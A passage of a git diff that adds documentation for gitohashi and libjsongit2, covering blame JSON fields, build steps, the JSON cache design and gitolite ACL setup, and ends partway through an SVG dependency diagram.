+log_final|The short commit log message for the final content patch
+op|Original patch filepath for the content (in the case of file rename or move)
+ranges|An array of `{blame_range}` structures (see below)
+
+The `{blame_range}` struct consists of
+
+JSON name|Meaning
+---|---
+l|the number of lines
+o|The start line number from the original file / revision
+f|The start line number in the revision of the file being blamed
+
+after the `"blame": []` array there is a second array `"contrib": []`, which
+comprises an array of structures of the form:
+
+JSON name|Meaning
+---|---
+l|The number of lines still remaining in the file from this contributor
+o|The ordinal of the `blame: []` section entry whose `sig_final` member was by this contributor
+
+NOTES: The first section is pre-sorted into order of first appearence in the
+file being blamed.  It represents a patch which can have multiple discontiguous
+line ranges in the version of the file currently being blamed, described in
+its `"ranges": []` member.
+
+After that information, the `"contrib": []` array is a list of all individual
+contributors to the current file state, sorted by the number of lines of text
+they have contributed.  If your libgit2 is recent enough (master or 0.28+) then
+this list takes into account any .mailmap in the top level git in HEAD.
diff --git a/doc/README-build.md b/doc/README-build.md
new file mode 100644
index 0000000..e2d0d73
--- /dev/null
+++ b/doc/README-build.md
@@ -0,0 +1,85 @@
+# Building gitohashi
+
+## Dependency packages
+
+![gitohashi build deps](./doc-assets/deps-goh.svg)
+
+ - libgit2
+ 
+   https://libgit2.org/
+
+ - libwebsockets (already in distros but requires master or v3.1 +)
+ 
+   https://libwebsockets.org/git/libwebsockets
+ 
+These are both easy-to-build cmake projects like gitohashi.
+
+## Build
+
+### Step 1: install build packages
+
+Distro|Dependency Package name
+---|---
+Fedora | cmake, libgit2, libgit2-devel, libarchive, libarchive-devel
+Ububtu 14.04 | cmake, libgit2-0, libgit2-dev, libarchive13, libarchive-dev
+Ubuntu 16.04 | cmake, libgit2-24, libgit2-dev, libarchive13, libarchive-dev
+
+#### Note on libgit2 versions
+
+libjsongit2 support libgit2 going back to v0.19 found in Ubuntu 14.04 and up
+to current master.
+
+Blame support requires libgit2 version >=0.21, but libjsongit2 adapts to
+versions older than that by gracefully disabling blame.
+
+0.28+ (and master libgit2) support `.mailmap` integration with blame, again if
+it's not available libjsongit2 blame still works without it.
+
+If you want to build a later, local libgit2 to get these features, it is also a
+cmake project that's easy to build the same way as libjsongit2 itself.
+
+You can direct libjsongit2 to build using your local libgit2 instead of the
+packaged version like this:
+
+```
+$ cmake .. -DJG2_GIT2_INC_PATH=/usr/local/include \
+           -DJG2_GIT2_LIB_PATH=/usr/local/lib/libgit2.so
+```
+
+### Step 2: clone, build, install
+
+One dependent project and gitohashi need to be built, but both of them can be
+built will cmake using default options simply.
+
+Order|Project|Clone command
+---|---|---
+1|libwebsockets| `git clone https://libwebsockets.org/repo/libwebsockets`
+3|gitohashi| `git clone https://warmcat.com/repo/gitohashi`
+
+enter the cloned dir for each in turn and build like this:
+
+```
+$ mkdir build
+$ cd build
+$ cmake ..
+$ make && sudo make install
+```
+
+NOTE1: You can configure the daemon or other project to be built with symbols using
+```
+$ cmake .. -DCMAKE_BUILD_TYPE=DEBUG
+```
+
+NOTE2: If you are directly serving, HTTP/2 is advantageous performance-wise on
+pages where there are a lot of avatars or other fetches going on from the same
+server... you can enable this on libwebsockets simply with
+`cmake .. -DLWS_WITH_HTTP2=1` instead of the `cmake ..` step.
+
+NOTE3: On BSD / OSX the OpenSSL is in a strange place... you need to inform
+the gitohashi build.  You can just do
+
+```
+$ export CFLAGS="-I/usr/local/opt/openssl/include" 
+```
+
+before the build.
diff --git a/doc/README-cache.md b/doc/README-cache.md
new file mode 100644
index 0000000..358a1f9
--- /dev/null
+++ b/doc/README-cache.md
@@ -0,0 +1,107 @@
+## Transparent JSON Cache
+
+If the vhost config member `json_cache_base` is non-NULL, then it is used as
+the base path for a transparent JSON cache.  When a job starts to generate some
+content, a hash is generated using the following keys
+
+ 1. An epoch number set in libjsongit2 that allows whole caches to be
+    invalidated when a mandatory format change occurs on a later version
+    
+ 2. The job type (generate a commit view, or a snapshot, etc)
+ 
+ 3. The count (some jobs generate a requested amount of output only)
+ 
+Then, if the urlpath implies a specific repo
+ 
+ 4. The repo refs hash, a hash generated from all ref oids and names in the
+    repo
+ 
+ 5. repo dir (the filesystem dir of the repo, eg, /srv/repositories/myrepo.git)
+ 
+ 6. the urlpath mode (blame, tree, etc)
+
+ 7. urlpath filepath (the file inside the repo we are looking at)
+ 
+If the urlpath did not imply a specific repo, then
+ 
+ 8. The HEAD oid of gitolite-admin, if any
+
+ 9. Every repo name accessible using the current vhost and ctx acl user.
+
+The generated hash becomes the filename in the cache dir for the content.
+
+Later, requests for jobs also have their hash computed the same way, only if
+everything is the same (including the refs state of the repo...) will the
+cached hash be arrived at the same.
+
+Cache files are created with an appended pid and pointer to the ctx requesting
+the job, since it's possible multiple contexts or other instances could have
+also been asked to create the context before a cache entry exists.  When the
+cache content generation is complete, the temp filename is renamed to the
+final cacahe filename... if this fails because another instance got there first,
+the temp cache file is simply deleted.
+
+### Scope of cache
+
+The cache operates on "content generated by a libjsongit2 job", usually JSON,
+but it also operates on /plain/ (directly serve files from a repo with an
+appropriate mimetype) and /snapshot/ (generate tarballs and zipfiles for a repo
+ref).
+
+It deliberately does not cover the vhost HTML template, the css, js etc loaded
+by that nor the outer JSON braces and content there generated by libjsongit2.
+
+This allows old cached content, still reflecting the current repo state, to be
+served using the newest HTML, CSS, JS etc the same as freshly-generated content.
+libjsongit2 also adds up-to-date dynamic information about page generation time
+and cache statistics in the outer JSON whether the page contains some or
+otherwise all cached JSON content; this is shown in the footer in the example
+HTML template.
+
+### Cache hashes and ETAG
+
+libjsongit2 can compute the cache hash for URL + repo state output without
+actually generating the contents.  This allows the cache hash to also be used
+with [HTTP's RFC7232 ETAG](https://tools.ietf.org/html/rfc7232) scheme, where the browser is given the
+cache hash along with the contents, and if it asks for it again where no
+prerequisite has changed, can simply be told in the HTTP response code that
+the version the browser has in its local cache is still current.
+
+This allows requests for even dynamically-generated content like /plain/ and
+/snapshot/ URLs to be completed with just the cache hash generation and
+comparison, without doing any work or sending anything except the HTTP 304
+notification, if the browser already has the same version we would have
+generated and sent.  This is particularly effective when, eg, the README.md
+in the root tree view has many pictures served from the versioned repo itself
+and the user passes through it multiple times using the tree part.
+
+### Cache maintenance
+
+The amount of storage the cache is allowed to use can be limited using the
+`.cache_size_limit` of `struct jg2_vhost_config` at vhost creation time.
+
+A thread lazily scans the cache subdirs and sleeps for a second after each one.
+Since there are 16 x 16 cache subdirs, it completes a scan every 256s (around
+4 minutes).  As the cache is managed by LRU, the thread takes the approach
+to only collect the names the 128 oldest files, regardless of how many files
+there actually are.  So the cache management action is cheap, done lazily and
+only uses a maximum of around 12KiB heap.
+
+If at the end of the scan the thread sees the total storage exceeds the maximum,
+it unlinks files on its list, starting with the oldest first until it's back
+under the limit.  If 128 files weren't enough to get it under the limit, it will
+start the next scan immediately and run it doing 8 cache subdirectories per
+second (30s) until the excess is cleared.
+
+If the cache is not near the maximum, scans are delayed according to an estimate
+of how long it would take to reach the maximum, for no longer than an hour.
+
+### Keeping bot spidering out of the JSON cache
+
+If the libjsongit2 context is created with the flag bit JG2_CTX_FLAG_BOT set,
+then although the access can use already-cached items, it is disabled from
+creating new things in the cache.  This is because aggressive random spidering
+will generate continuous "noise" cache content where the access has no
+implication that another user may consider the content interesting in the
+future, flushing out user-generated content that does imply it may be accessed
+again.
\ No newline at end of file
diff --git a/doc/README-gitolite.md b/doc/README-gitolite.md
new file mode 100644
index 0000000..ab4c102
--- /dev/null
+++ b/doc/README-gitolite.md
@@ -0,0 +1,89 @@
+### Selecting which repos to show on a vhost
+
+By default, no repo is allowed to be shown, even when the vhost has supplied the
+`repo_base_dir` config.
+
+You can override this simply to get started by providing the vhost `.acl_user`
+name of "@all" as the example code does.  This will allow libjsongit2 to show
+the contents of any repo in the `repo_base_dir`.
+
+For a real server, libjsongit2 uses gitolite ACLs to control which vhosts
+can see what.  It's not uncommon for a server to have several HTTP vhosts, but
+only a single system like gitolite handling repos in a single directory.
+
+So it becomes important to restrict the view of the different vhosts to the
+repos that are relevant to them.  Rather than reinvent the wheel, libjsongit2
+lets you configure what it will show using gitolite config.
+
+![Using gitolite for ACL](./doc-assets/libjsongit2-acl.svg)
+
+If the gitolite well-known repo `gitolite-admin` is present in the repo
+directory, it is parsed automatically using the vhost's `acl_user` to discover
+the ACLs possible for this vhost.
+
+Additionally, when creating the context for a specific transaction, you can
+pass in an authorized username for the transaction using the `authorized`
+parameter in the context creation api.  If non-NULL, this adds to the repos
+already available from selecting using the vhost `acl_user` name.
+
+#### Allow gitolite to set repo gitweb config
+
+Gitohashi acquires gitweb repo information from the bare repo config file, at
+`myrepo.git/config`.  You can set these by hand using git config syntax if you
+want, by adding a section like this...
+
+```
+[gitweb]
+        description = libwebsockets lightweight C networking library
+        url = https://libwebsockets.org/repo/libwebsockets
+        owner = Andy Green <andy@warmcat.com>
+```
+
+...but if you are already using gitolite, rather than have to ssh in and edit
+the bare repo config each time, it's much more convenient to define and manage
+these in the same gitolite config file used for repo creation and ACLs already.
+
+Gitolite supports it but to allow the gitolite config file to alter the bare
+repo config, you must one-time whitelist the gitweb-related keys we want to
+control from there in `.gitolite.rc` in your gitolite user home dir.
+
+```
+$GL_GITCONFIG_KEYS = "gitweb.description gitweb.owner gitweb.url";
+```
+
+Then, in your usual gitolite config you can do this kind of thing
+
+```
+repo libwebsockets
+        RW+     =  @ag
+        R       =  v-lws
+        config gitweb.description = "libwebsockets lightweight C networking library"
+        config gitweb.owner = "Andy Green <andy@warmcat.com>"
+        config gitweb.url = "https://libwebsockets.org/repo/libwebsockets"
+```
+
+When you update the gitolite-admin remote repo, it will apply the defined
+config into the remote repos' config immediately.  In pages rendered by
+gitohashi, the updated gitweb information will be reflected immediately.
+
+#### Set up per-vhost virtual users
+
+libjsongit2 can understand gitolite ACLs for the repos.  You can associate a
+libjsongit2 vhost with a user name in your gitolite config, and that vhost will
+show on the web any repo that the user name has access to.
+
+The user name doesn't have to be a real user with ssh keys.
+
+Eg, here we give the "user" v-lws read access to `libwebsockets`...
+
+```
+repo libwebsockets
+        RW+     =  @ag
+        R       =  v-lws
+```
+
+if we tell the libjsongit2 vhost its acl-user is also `v-lws`, it will
+understand it should serve the `libwebsockets` repo and any other repos `v-lws`
+has read access to.
+
+No other repo will be opened by gitohashi for serving.
diff --git a/doc/doc-assets/deps-goh.svg b/doc/doc-assets/deps-goh.svg
new file mode 100644
index 0000000..b6bdd6b
--- /dev/null
+++ b/doc/doc-assets/deps-goh.svg
@@ -0,0 +1,271 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg width="149.08mm" height="112.99mm" version="1.1" viewBox="0 0 149.08205 112.98794" xmlns="http://www.w3.org/2000/svg" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:xlink="http://www.w3.org/1999/xlink">
+	<defs>
+		<filter id="aj" x="-.015388" y="-.054509" width="1.0308" height="1.109" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.024099401"/>
+		</filter>
+		<radialGradient id="g" cx="289.72" cy="412.83" r=".053743" gradientTransform="matrix(1.1735 0 0 1.1058 -50.276 -43.662)" gradientUnits="userSpaceOnUse" xlink:href="#ag"/>
+		<linearGradient id="ag">
+			<stop stop-color="#c2c9ca" stop-opacity=".37603" offset="0"/>
+			<stop stop-color="#fff" stop-opacity="0" offset="1"/>
+		</linearGradient>
+		<linearGradient id="h" x1="8.4716" x2="17.364" y1="124.88" y2="123.79" gradientUnits="userSpaceOnUse" xlink:href="#j"/>
+		<linearGradient id="j">
+			<stop stop-color="#c8c6ca" stop-opacity="0" offset="0"/>
+			<stop stop-color="#c8c6ca" stop-opacity=".72157" offset=".39592"/>
+			<stop stop-color="#c8c6ca" stop-opacity=".41961" offset=".48155"/>
+			<stop stop-color="#c8c6ca" stop-opacity="0" offset="1"/>
+		</linearGradient>
+		<filter id="ak" x="-.015388" y="-.054509" width="1.0308" height="1.109" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.024099401"/>
+		</filter>
+		<linearGradient id="i" x1="116.38" x2="124.09" y1="381.3" y2="364.2" gradientTransform="matrix(.79349 -.18273 .18273 .79349 -101.2 -729.82)" gradientUnits="userSpaceOnUse">
+			<stop stop-opacity=".63529" offset="0"/>
+			<stop stop-opacity="0" offset="1"/>
+		</linearGradient>
+		<linearGradient id="f" x1="172.12" x2="160.9" y1="474.17" y2="442.18" gradientTransform="matrix(.12338 0 0 .12338 -22.488 359.47)" gradientUnits="userSpaceOnUse" xlink:href="#m"/>
+		<linearGradient id="m">
+			<stop stop-color="#6969e1" offset="0"/>
+			<stop stop-color="#1011a1" offset="1"/>
+		</linearGradient>
+		<linearGradient id="e" x1="160.71" x2="171.19" y1="441.99" y2="474.36" gradientTransform="matrix(.12338 0 0 .12338 -22.488 359.47)" gradientUnits="userSpaceOnUse" xlink:href="#l"/>
+		<linearGradient id="l">
+			<stop stop-color="#b40e0e" offset="0"/>
+			<stop stop-color="#f24c4c" offset="1"/>
+		</linearGradient>
+		<linearGradient id="d" x1="143.68" x2="173.81" y1="475.48" y2="480.91" gradientTransform="matrix(.12338 0 0 .12338 -22.488 359.47)" gradientUnits="userSpaceOnUse" xlink:href="#n"/>
+		<linearGradient id="n">
+			<stop stop-color="#01de00" offset="0"/>
+			<stop stop-color="#01a300" offset="1"/>
+		</linearGradient>
+		<linearGradient id="c" x1="170.63" x2="171" y1="477.67" y2="476.78" gradientTransform="matrix(.12338 0 0 .12338 -22.488 359.47)" gradientUnits="userSpaceOnUse" xlink:href="#k"/>
+		<linearGradient id="k">
+			<stop stop-color="#b40e0e" stop-opacity=".92975" offset="0"/>
+			<stop stop-color="#99403c" stop-opacity="0" offset="1"/>
+		</linearGradient>
+		<linearGradient id="z" x1="121.62" x2="125.18" y1="348.24" y2="348.86" gradientTransform="matrix(1.1071 -.23352 .23352 1.1071 -161.56 -816.89)" gradientUnits="userSpaceOnUse" xlink:href="#b"/>
+		<linearGradient id="b">
+			<stop stop-color="#f96667" offset="0"/>
+			<stop stop-color="#f90000" offset="1"/>
+		</linearGradient>
+		<linearGradient id="q" x1="121.19" x2="124.96" y1="349.86" y2="350.95" gradientTransform="matrix(1.1071 -.23352 .23352 1.1071 -161.56 -816.89)" gradientUnits="userSpaceOnUse" xlink:href="#a"/>
+		<linearGradient id="a">
+			<stop stop-color="#ff463b" offset="0"/>
+			<stop stop-color="#ed8177" offset=".66691"/>
+			<stop stop-color="#ff261e" stop-opacity=".99174" offset="1"/>
+		</linearGradient>
+		<linearGradient id="ad" x1="121.62" x2="125.18" y1="348.24" y2="348.86" gradientTransform="matrix(1.0875 -.22938 .22938 1.0875 -164.05 -812.53)" gradientUnits="userSpaceOnUse" xlink:href="#b"/>
+		<linearGradient id="s" x1="121.19" x2="124.96" y1="349.86" y2="350.95" gradientTransform="matrix(1.0875 -.22938 .22938 1.0875 -164.05 -812.53)" gradientUnits="userSpaceOnUse" xlink:href="#a"/>
+		<linearGradient id="ab" x1="121.62" x2="125.18" y1="348.24" y2="348.86" gradientTransform="matrix(1.0699 -.22567 .22567 1.0699 -166.56 -808.48)" gradientUnits="userSpaceOnUse" xlink:href="#b"/>
+		<linearGradient id="v" x1="121.19" x2="124.96" y1="349.86" y2="350.95" gradientTransform="matrix(1.0699 -.22567 .22567 1.0699 -166.56 -808.48)" gradientUnits="userSpaceOnUse" xlink:href="#a"/>
+		<linearGradient id="y" x1="121.62" x2="125.18" y1="348.24" y2="348.86" gradientTransform="matrix(1.0483 -.22111 .22111 1.0483 -168.1 -803.05)" gradientUnits="userSpaceOnUse" xlink:href="#b"/>
+		<linearGradient id="u" x1="121.19" x2="124.96" y1="349.86" y2="350.95" gradientTransform="matrix(1.0483 -.22111 .22111 1.0483 -168.1 -803.05)" gradientUnits="userSpaceOnUse" xlink:href="#a"/>
+		<linearGradient id="aa" x1="121.62" x2="125.18" y1="348.24" y2="348.86" gradientTransform="matrix(1.1026 -.25393 .25393 1.1026 -166.04 -817.73)" gradientUnits="userSpaceOnUse" xlink:href="#b"/>
+		<linearGradient id="r" x1="121.19" x2="124.96" y1="349.86" y2="350.95" gradientTransform="matrix(1.1026 -.25393 .25393 1.1026 -166.04 -817.73)" gradientUnits="userSpaceOnUse" xlink:href="#a"/>
+		<linearGradient id="ae" x1="121.62" x2="125.18" y1="348.24" y2="348.86" gradientTransform="matrix(1.0831 -.24943 .24943 1.0831 -168.45 -813.32)" gradientUnits="userSpaceOnUse" xlink:href="#b"/>
+		<linearGradient id="t" x1="121.19" x2="124.96" y1="349.86" y2="350.95" gradientTransform="matrix(1.0831 -.24943 .24943 1.0831 -168.45 -813.32)" gradientUnits="userSpaceOnUse" xlink:href="#a"/>
+		<linearGradient id="ac" x1="121.62" x2="125.18" y1="348.24" y2="348.86" gradientTransform="matrix(1.0656 -.24539 .24539 1.0656 -170.88 -809.23)" gradientUnits="userSpaceOnUse" xlink:href="#b"/>
+		<linearGradient id="w" x1="121.19" x2="124.96" y1="349.86" y2="350.95" gradientTransform="matrix(1.0656 -.24539 .24539 1.0656 -170.88 -809.23)" gradientUnits="userSpaceOnUse" xlink:href="#a"/>
+		<linearGradient id="af" x1="121.62" x2="125.18" y1="348.24" y2="348.86" gradientTransform="matrix(1.044 -.24043 .24043 1.044 -172.32 -803.76)" gradientUnits="userSpaceOnUse" xlink:href="#b"/>
+		<linearGradient id="x" x1="121.19" x2="124.96" y1="349.86" y2="350.95" gradientTransform="matrix(1.044 -.24043 .24043 1.044 -172.32 -803.76)" gradientUnits="userSpaceOnUse" xlink:href="#a"/>
+		<linearGradient id="p" x1="115.76" x2="136.13" y1="357.52" y2="370.02" gradientTransform="matrix(1.0023 -.23082 .23082 1.0023 -163.94 -790.43)" gradientUnits="userSpaceOnUse">
+			<stop stop-color="#b5323f" offset="0"/>
+			<stop stop-color="#ed5a61" offset="1"/>
+		</linearGradient>
+		<linearGradient id="o" x1="117.77" x2="140.6" y1="353.59" y2="360.33" gradientTransform="matrix(1.0023 -.23082 .23082 1.0023 -163.94 -790.43)" gradientUnits="userSpaceOnUse">
+			<stop stop-color="#c03a36" offset="0"/>
+			<stop stop-color="#ed393d" offset="1"/>
+		</linearGradient>
+		<filter id="ah" x="-.070976" y="-.12754" width="1.142" height="1.2551" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.93503731"/>
+		</filter>
+		<filter id="ai" x="-.03551" y="-.047942" width="1.071" height="1.0959" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="1.6304947"/>
+		</filter>
+	</defs>
+	<metadata>
+		<rdf:RDF>
+			<cc:Work rdf:about="">
+				<dc:format>image/svg+xml</dc:format>
+				<dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
+				<dc:title/>
+			</cc:Work>
+		</rdf:RDF>
+	</metadata>
+	<g transform="translate(73.029 478.4)">
+		<rect transform="matrix(1.2631 0 0 1.2631 -56.64 -909.02)" x="-9.062" y="344.82" width="110.2" height="81.624" fill-opacity=".98347" filter="url(#ai)"/>
+		<rect x="-69.34" y="-474.55" width="139.2" height="103.1" fill="#ececec" fill-opacity=".98347"/>
+		<g fill="none" stroke="#000" stroke-width="1.0926">
+			<path d="m21.533-425.42 16.454 16.449"/>
+			<path d="m4.0842-425.7 4.7808 16.729"/>
+			<path d="m-13.979-425.68-15.144 16.823"/>
+		</g>
+		<rect x="-24.893" y="-442.08" width="55.759" height="20.4" fill="#fc0" fill-opacity=".98347" stroke="#000" stroke-linejoin="round" stroke-opacity=".94628" stroke-width="1.3039"/>
+		<rect x="-20.201" y="-430.34" width="46.394" height="5.0961" fill="#c8ab37"/>
+		<g fill="#000000" font-family="'Open Sans'" letter-spacing="0px" text-anchor="middle" word-spacing="0px">
+			<text x="-6.3021426" y="-426.75653" font-size="3.0367px" stroke-width=".37958" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.3021431" y="-426.75653" fill="#000000" font-family="'Open Sans'" stroke-width=".37958">libjsongit2</tspan></text>
+			<text x="23.720867" y="-389.39441" fill-opacity=".8549" font-size="2.6736px" stroke-width=".3342" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="23.720867" y="-389.39441" fill="#000000" fill-opacity=".8549" font-family="'Open Sans'" stroke-width=".3342">Already in popular distros</tspan></text>
+			<text x="-26.792557" y="-389.03116" font-size="2.6736px" stroke-width=".3342" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-26.792557" y="-389.03116">Already in popular distros</tspan><tspan x="-26.792557" y="-385.68912">...but we need latest version</tspan></text>
+			<text x="-23.468563" y="-462.81235" font-size="9.8408px" stroke-width="1.2301" text-align="center" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-23.468563" y="-462.81235" fill="#000000" font-family="'Open Sans'" stroke-width="1.2301" text-align="start" text-anchor="start">Build Deps</tspan></text>
+		</g>
+		<g>
+			<path transform="matrix(1.0023 -.23082 .23082 1.0023 -114.88 -801.63)" d="m65.641 359.35c-0.44097 0.48507-0.88194 0.97013-1.3229 1.4552 8.3344 5.2476 16.669 10.495 25.003 15.743 2.2049-3.5278 4.4097-7.0556 6.6146-10.583-0.35278-0.57326-0.70555-1.1465-1.0583-1.7198-1.9844 1.8521-3.9688 3.7042-5.9531 5.5562-3.0456-1.822-6.0685-3.6876-9.1283-5.4824-4.0569-1.7885-8.1138-3.577-12.171-5.3656-0.66146 0.13229-1.3229 0.26459-1.9844 0.39688z" fill="#121112" filter="url(#ah)"/>
+			<path d="m32.811-461.9 0.95657 5.535 27.024 9.0015 3.8068-11.07-0.7885-5.6195-25.484-6.68z" fill="url(#o)"/>
+			<path d="m32.833-461.81 26.967 8.2044 1.0392 6.2275-26.923-8.9549z" fill="url(#p)"/>
+		</g>
+		<path d="m63.785-463.95-3.9277 10.383 0.99234 6.2383 3.7148-11.078z" fill="none"/>
+		<g>
+			<path d="m38.196-469.5-0.14939 2.3098c0.19702 0.69356 1.2209 1.3922 2.3033 1.4849 1.4153 0.0639 2.0265-0.61911 2.4079-1.5974-0.18832-1.7481-0.28545-2.2273-0.25437-1.9238-0.078 0.96019-1.0428 1.4607-1.9008 1.5123-0.79902 0.0637-1.5305-0.44734-2.0484-1.0015-0.20548-0.22066-0.17895-0.47823-0.36579-0.7054z" fill="url(#x)"/>
+			<path d="m39.55-470.89c1.0956-0.27638 2.5841 0.0682 2.894 1.155 0.13734 0.45515 0.0644 0.98115-0.26718 1.3373-0.49839 0.58652-1.3252 0.81664-2.0675 0.66072-1.0006-0.24172-1.7712-0.76998-1.9363-1.7598 0.0221-0.63015 0.88478-1.2717 1.3769-1.3932z" fill="url(#af)"/>
+			<path d="m43.978-468.08-0.15248 2.3574c0.20119 0.70782 1.2461 1.4209 2.3509 1.5155 1.4444 0.0651 2.0683-0.63187 2.4575-1.6303-0.19221-1.7841-0.29137-2.2733-0.25963-1.9635-0.0796 0.98004-1.0643 1.4909-1.94 1.5436-0.81554 0.0651-1.5621-0.45657-2.0907-1.0221-0.20972-0.22522-0.18262-0.48812-0.37336-0.71996z" fill="url(#w)"/>
+			<path d="m45.36-469.49c1.1182-0.28209 2.6374 0.0696 2.9537 1.1788 0.14024 0.4645 0.0657 1.0014-0.27269 1.3648-0.50868 0.59863-1.3526 0.83353-2.1102 0.67437-1.0212-0.2467-1.8078-0.78588-1.9762-1.7961 0.0226-0.64313 0.90302-1.2979 1.4053-1.4218z" fill="url(#ac)"/>
+			<path d="m49.945-466.55-0.155 2.3963c0.2045 0.71948 1.2666 1.4443 2.3896 1.5404 1.4682 0.0662 2.1024-0.64228 2.498-1.6572-0.19535-1.8135-0.29613-2.3107-0.26389-1.9958-0.0809 0.99614-1.0818 1.5154-1.9719 1.5689-0.82898 0.0662-1.5878-0.46406-2.1251-1.039-0.21317-0.22893-0.18572-0.49613-0.37953-0.73182z" fill="url(#t)"/>
+			<path d="m51.35-467.99c1.1366-0.28672 2.6808 0.0708 3.0024 1.1982 0.14252 0.47218 0.0668 1.0179-0.27715 1.3873-0.51707 0.60847-1.3748 0.84723-2.1449 0.68544-1.0381-0.25076-1.8375-0.79879-2.0088-1.8257 0.023-0.65371 0.91789-1.3193 1.4285-1.4452z" fill="url(#ae)"/>
+			<path d="m56.297-464.7-0.15778 2.4395c0.208 0.73247 1.2894 1.4703 2.4326 1.5682 1.4947 0.0674 2.1403-0.65389 2.5431-1.6871-0.19888-1.8462-0.3015-2.3524-0.26864-2.0318-0.0824 1.0141-1.1014 1.5428-2.0075 1.5972-0.84391 0.0673-1.6165-0.47246-2.1634-1.0577-0.21702-0.23305-0.18892-0.50512-0.38638-0.74502z" fill="url(#r)"/>
+			<path d="m57.727-466.17c1.1571-0.29194 2.7292 0.072 3.0565 1.2198 0.14523 0.48066 0.068 1.0362-0.28217 1.4123-0.52638 0.61945-1.3996 0.86251-2.1836 0.69779-1.0568-0.25527-1.8707-0.8132-2.045-1.8586 0.0233-0.66554 0.93444-1.3431 1.4542-1.4714z" fill="url(#aa)"/>
+			<path d="m36.209-464.96-0.19203 2.3066c0.18434 0.69704 1.195 1.4145 2.2755 1.5271 1.4138 0.09 2.0376-0.58154 2.437-1.5526-0.15601-1.7512-0.24429-2.2322-0.2188-1.9282-0.0958 0.95861-1.0696 1.4412-1.9284 1.477-0.80009 0.0491-1.522-0.4755-2.0296-1.0391-0.20138-0.22444-0.17012-0.48146-0.35274-0.71206z" fill="url(#u)"/>
+			<path d="m37.588-466.32c1.1003-0.25718 2.5824 0.11594 2.8722 1.2082 0.12907 0.45757 0.0463 0.98215-0.29181 1.3321-0.50913 0.57719-1.3401 0.79204-2.0794 0.6224-0.99597-0.26015-1.7567-0.80255-1.9034-1.7953 0.0338-0.62964 0.90811-1.2551 1.4024-1.3675z" fill="url(#y)"/>
+			<path d="m41.963-463.42-0.19598 2.3542c0.18803 0.71142 1.2196 1.4436 2.3225 1.5586 1.443 0.0919 2.0796-0.59349 2.4872-1.5846-0.15922-1.7874-0.24931-2.2783-0.22331-1.9679-0.0976 0.97835-1.0916 1.471-1.9681 1.5074-0.8166 0.0501-1.5534-0.48533-2.0714-1.0606-0.20553-0.22906-0.17366-0.49136-0.36-0.72672z" fill="url(#v)"/>
+			<path d="m43.371-464.82c1.123-0.26241 2.6356 0.11827 2.9315 1.2332 0.13174 0.467 0.0472 1.0024-0.29786 1.3596-0.51964 0.58909-1.3677 0.80836-2.1223 0.63524-1.0165-0.2655-1.7929-0.81909-1.9427-1.8323 0.0345-0.64263 0.92685-1.281 1.4314-1.3957z" fill="url(#ab)"/>
+			<path d="m47.901-461.79-0.19923 2.393c0.19125 0.72311 1.2397 1.4674 2.3607 1.5843 1.4668 0.0933 2.1138-0.60338 2.5282-1.6107-0.16182-1.8168-0.2534-2.3158-0.22697-2.0004-0.0994 0.99447-1.1096 1.4952-2.0005 1.5322-0.83002 0.051-1.579-0.4933-2.1055-1.078-0.2089-0.23284-0.1764-0.49948-0.36594-0.7387z" fill="url(#s)"/>
+			<path d="m49.332-463.2c1.1415-0.26667 2.679 0.12024 2.9797 1.2534 0.1339 0.4747 0.048 1.0189-0.30274 1.382-0.52822 0.59883-1.3902 0.82169-2.1572 0.64571-1.0333-0.26989-1.8225-0.8326-1.9747-1.8625 0.035-0.65318 0.94208-1.3021 1.4549-1.4186z" fill="url(#ad)"/>
+			<path d="m54.218-459.83-0.20279 2.4362c0.19448 0.7362 1.2621 1.4939 2.4033 1.6129 1.4932 0.0951 2.152-0.61431 2.5738-1.6398-0.16476-1.8496-0.258-2.3576-0.23107-2.0364-0.10108 1.0124-1.1296 1.5222-2.0366 1.5599-0.84503 0.0518-1.6075-0.50222-2.1435-1.0975-0.21269-0.23703-0.17975-0.50849-0.37255-0.75202z" fill="url(#q)"/>
+			<path d="m55.675-461.26c1.1621-0.2714 2.7274 0.12245 3.0335 1.2761 0.13625 0.48328 0.0489 1.0373-0.3082 1.4069-0.53774 0.6096-1.4153 0.83651-2.1961 0.65735-1.0519-0.27475-1.8553-0.84761-2.0103-1.8961 0.0356-0.66498 0.9591-1.3256 1.4812-1.4442z" fill="url(#z)"/>
+		</g>
+		<g transform="matrix(.87389 0 0 .87389 -40.216 -824.75)">
+			<circle cx="79.782" cy="438.91" r="4.9835" fill="#fff6d5" fill-opacity=".97521" stroke="#000" stroke-linejoin="round" stroke-width=".35389"/>
+			<text x="79.842163" y="442.10245" fill="#000000" font-family="'Open Sans'" font-size="1.8486px" letter-spacing="0px" stroke-width=".23107" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="79.842163" y="442.10245" stroke-width=".23107">cmake</tspan></text>
+			<g transform="matrix(.87335 0 0 .87335 82.375 74.143)">
+				<g>
+					<path d="m-2.9592 412.95-2.979 6.0355 3.2085-2.7006z" fill="url(#f)"/>
+					<path d="m-2.9606 412.96 2.9776 6.0245-2.6573-1.1026z" fill="url(#e)"/>
+					<path d="m-3.9762 417.33 4.0341 1.6768-6.0192 8e-3z" fill="url(#d)"/>
+					<path d="m-2.6494 417.88 2.6605 1.095-0.065289-0.13873-2.5919-1.0753z" fill="url(#c)"/>
+				</g>
